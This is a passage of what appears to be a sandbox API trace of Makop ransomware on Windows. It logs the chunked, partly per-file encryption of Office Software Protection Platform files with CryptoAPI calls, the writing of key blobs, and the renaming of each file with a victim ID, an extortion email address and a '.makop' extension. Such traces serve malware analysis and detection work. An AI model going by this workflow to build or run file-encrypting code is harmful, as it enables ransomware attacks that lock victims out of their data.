lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2d7e, lpOverlapped=0x0) returned 1 [0094.102] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2d80, dwBufLen=0x2d80 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2d80) returned 1 [0094.103] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.103] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2d80, lpOverlapped=0x0) returned 1 [0094.103] CryptDestroyKey (hKey=0x48c7128) returned 1 [0094.103] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2e84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.103] SetEndOfFile (hFile=0xf0) returned 1 [0094.110] GetProcessHeap () returned 0x48a0000 [0094.110] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3400 | out: hHeap=0x48a0000) returned 1 [0094.110] GetProcessHeap () returned 0x48a0000 [0094.110] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0094.110] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 169 [0094.110] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0094.112] CloseHandle (hObject=0xf0) returned 1 [0094.112] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59948fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x212b00, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPOBJS.DLL", cAlternateFileName="")) returned 1 [0094.112] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL") returned 92 [0094.112] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0094.113] GetFileSizeEx (in: hFile=0xf0, lpFileSize=0x6577ab8 | out: lpFileSize=0x6577ab8*=2173696) returned 1 [0094.113] GetProcessHeap () returned 0x48a0000 [0094.113] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0094.113] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0094.113] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.113] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aa8 | out: phKey=0x6577aa8*=0x48c7128) returned 1 [0094.113] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0094.113] GetProcessHeap () returned 0x48a0000 [0094.113] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0094.113] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a88*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a88*=0x40) returned 1 [0094.113] CryptDestroyKey (hKey=0x48c7128) returned 1 [0094.113] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa4*=0x40, lpOverlapped=0x0) returned 1 [0094.118] WriteFile (in: hFile=0xf0, lpBuffer=0x6577aac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x6577aac*, lpNumberOfBytesWritten=0x6577aa4*=0x4, lpOverlapped=0x0) returned 1 [0094.118] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa4*=0x10, lpOverlapped=0x0) returned 1 [0094.118] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa4*=0x80, lpOverlapped=0x0) returned 1 [0094.118] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0094.118] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa4*=0x8, lpOverlapped=0x0) returned 1 [0094.118] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aa8 | out: phKey=0x6577aa8*=0x48c7128) returned 1 [0094.118] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0094.118] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577a78 | out: lpNewFilePointer=0x0) returned 1 [0094.119] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x6577a6c, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577a6c*=0x40000, lpOverlapped=0x0) returned 1 [0094.130] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000) returned 1 [0094.133] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.133] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577a70*=0x40000, lpOverlapped=0x0) returned 1 [0094.135] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x212bd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.135] WriteFile (in: hFile=0xf0, lpBuffer=0x6577a78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6577a78*, lpNumberOfBytesWritten=0x6577a70*=0x8, lpOverlapped=0x0) returned 1 [0094.135] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xb0e55, lpNewFilePointer=0x0, dwMoveMethod=0x6577a78 | out: lpNewFilePointer=0x0) returned 1 [0094.136] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x6577a6c, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577a6c*=0x40000, lpOverlapped=0x0) returned 1 [0094.143] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000) returned 1 [0094.146] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xb0e55, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.146] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577a70*=0x40000, lpOverlapped=0x0) returned 1 [0094.149] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x212bd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.149] WriteFile (in: hFile=0xf0, lpBuffer=0x6577a78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6577a78*, lpNumberOfBytesWritten=0x6577a70*=0x8, lpOverlapped=0x0) returned 1 [0094.149] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1d2b00, lpNewFilePointer=0x0, dwMoveMethod=0x6577a78 | out: lpNewFilePointer=0x0) returned 1 [0094.149] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x6577a6c, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577a6c*=0x40000, lpOverlapped=0x0) returned 1 [0094.157] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000) returned 1 [0094.183] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1d2b00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.183] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577a70*=0x40000, lpOverlapped=0x0) returned 1 [0094.185] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x212bd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.185] WriteFile (in: hFile=0xf0, lpBuffer=0x6577a78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6577a78*, lpNumberOfBytesWritten=0x6577a70*=0x8, lpOverlapped=0x0) returned 1 [0094.185] CryptDestroyKey (hKey=0x48c7128) returned 1 [0094.185] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x212bd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.185] SetEndOfFile (hFile=0xf0) returned 1 [0094.193] GetProcessHeap () returned 0x48a0000 [0094.193] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0094.194] GetProcessHeap () returned 0x48a0000 [0094.194] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0094.194] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 139 [0094.194] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0094.195] CloseHandle (hObject=0xf0) returned 1 [0094.195] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf332800, ftCreationTime.dwHighDateTime=0x1cabc8a, ftLastAccessTime.dwLowDateTime=0x59948fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf332800, ftLastWriteTime.dwHighDateTime=0x1cabc8a, nFileSizeHigh=0x0, nFileSizeLow=0x3d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPREARM.EXE", cAlternateFileName="OSPPRE~1.EXE")) returned 1 [0094.195] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59995270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x4b2700, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPSVC.EXE", cAlternateFileName="")) returned 1 [0094.195] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59995270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x23b10, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPWMI.DLL", cAlternateFileName="")) returned 1 [0094.196] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL") returned 91 [0094.196] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0094.196] GetProcessHeap () returned 0x48a0000 [0094.196] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0094.196] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0094.197] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0094.197] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0094.197] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0094.197] GetProcessHeap () returned 0x48a0000 [0094.197] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0094.197] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0094.197] CryptDestroyKey (hKey=0x48c7128) returned 1 [0094.197] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0094.300] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0094.300] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0094.301] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0094.301] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0094.301] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0094.301] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0094.301] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0094.301] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.301] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x23b10, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x23b10, lpOverlapped=0x0) returned 1 [0094.305] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x23b10, dwBufLen=0x23b10 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x23b10) returned 1 [0094.307] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.307] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x23b10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x23b10, lpOverlapped=0x0) returned 1 [0094.308] CryptDestroyKey (hKey=0x48c7128) returned 1 [0094.308] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x23be4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.308] SetEndOfFile (hFile=0xf0) returned 1 [0094.318] GetProcessHeap () returned 0x48a0000 [0094.318] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0094.318] GetProcessHeap () returned 0x48a0000 [0094.318] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0094.318] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 138 [0094.318] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0094.320] CloseHandle (hObject=0xf0) returned 1 [0094.320] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0xba5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPWMI.MOF", cAlternateFileName="")) returned 1 [0094.320] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF") returned 91 [0094.320] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.mof"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0094.321] GetProcessHeap () returned 0x48a0000 [0094.321] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0094.321] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0094.321] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0094.321] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0094.366] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0094.366] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0094.366] GetProcessHeap () returned 0x48a0000 [0094.366] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0094.366] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0094.366] CryptDestroyKey (hKey=0x48c7128) returned 1 [0094.366] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0094.366] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0094.366] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0094.366] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0094.367] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0094.367] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0094.367] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0094.367] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0094.367] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.367] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xba5e, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xba5e, lpOverlapped=0x0) returned 1 [0094.369] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xba60, dwBufLen=0xba60 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xba60) returned 1 [0094.369] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.370] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xba60, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xba60, lpOverlapped=0x0) returned 1 [0094.370] CryptDestroyKey (hKey=0x48c7128) returned 1 [0094.370] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xbb34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.370] SetEndOfFile (hFile=0xf0) returned 1 [0094.377] GetProcessHeap () returned 0x48a0000 [0094.377] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, 